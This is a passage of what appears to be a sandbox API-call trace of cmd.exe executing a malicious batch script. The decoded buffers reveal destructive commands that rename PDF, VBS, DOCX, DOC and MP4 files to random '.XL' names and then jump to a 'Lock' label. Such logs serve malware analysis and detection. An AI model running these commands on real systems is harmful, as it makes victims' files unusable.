lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0037.765] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0037.766] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0037.766] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.766] GetFileType (hFile=0x74) returned 0x1 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0037.766] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=3074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0037.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0037.766] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0037.766] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.766] GetFileType (hFile=0x74) returned 0x1 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0037.766] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=3100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0037.766] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0037.766] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.766] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0037.767] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.767] GetFileType (hFile=0x74) returned 0x1 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0037.767] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=3111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0037.767] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.767] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0037.767] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.767] GetFileType (hFile=0x74) returned 0x1 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0037.767] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=3113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0037.767] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.767] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0037.767] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.767] GetFileType (hFile=0x74) returned 0x1 [0037.767] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0037.767] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=3119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0037.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0037.768] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0037.768] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.768] GetFileType (hFile=0x74) returned 0x1 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0037.768] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=3121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0037.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0037.768] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0037.768] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.768] GetFileType (hFile=0x74) returned 0x1 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0037.768] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.768] SetFilePointer (in: hFile=0x74, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0037.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0037.769] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0037.769] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.769] GetFileType (hFile=0x74) returned 0x1 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0037.769] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=3158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0037.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0037.769] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0037.769] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.769] GetFileType (hFile=0x74) returned 0x1 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0037.769] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=3160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0037.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.769] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.769] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0037.770] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.770] GetFileType (hFile=0x74) returned 0x1 [0037.770] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0037.770] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.770] SetFilePointer (in: hFile=0x74, lDistanceToMove=3167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0037.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0037.770] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.770] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0037.770] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.770] GetFileType (hFile=0x74) returned 0x1 [0037.770] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0037.770] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.770] SetFilePointer (in: hFile=0x74, lDistanceToMove=3169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0037.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0037.770] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.770] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0037.770] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.770] GetFileType (hFile=0x74) returned 0x1 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0037.771] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=3196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0037.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\n") returned 27 [0037.771] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0037.771] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.771] GetFileType (hFile=0x74) returned 0x1 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0037.771] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=3207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0037.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0037.771] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0037.771] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.771] GetFileType (hFile=0x74) returned 0x1 [0037.771] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0037.771] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=3209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0037.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.772] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0037.772] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.772] GetFileType (hFile=0x74) returned 0x1 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0037.772] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=3215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0037.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0037.772] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0037.772] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.772] GetFileType (hFile=0x74) returned 0x1 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0037.772] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.772] SetFilePointer (in: hFile=0x74, lDistanceToMove=3217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0037.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0037.773] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.773] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0037.773] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.773] GetFileType (hFile=0x74) returned 0x1 [0037.773] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0037.773] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.773] SetFilePointer (in: hFile=0x74, lDistanceToMove=3243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0037.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0037.773] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.773] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0037.773] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.773] GetFileType (hFile=0x74) returned 0x1 [0037.773] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0037.773] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.774] SetFilePointer (in: hFile=0x74, lDistanceToMove=3254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0037.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0037.774] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0037.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.775] GetFileType (hFile=0x74) returned 0x1 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0037.775] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=3256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0037.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0037.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.775] GetFileType (hFile=0x74) returned 0x1 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0037.775] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=3262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0037.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0037.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0037.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.776] GetFileType (hFile=0x74) returned 0x1 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0037.776] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=3264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0037.776] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.776] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.776] GetFileType (hFile=0x74) returned 0x1 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.776] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=3290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0037.776] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.776] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.776] GetFileType (hFile=0x74) returned 0x1 [0037.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.777] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.777] SetFilePointer (in: hFile=0x74, lDistanceToMove=3301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, 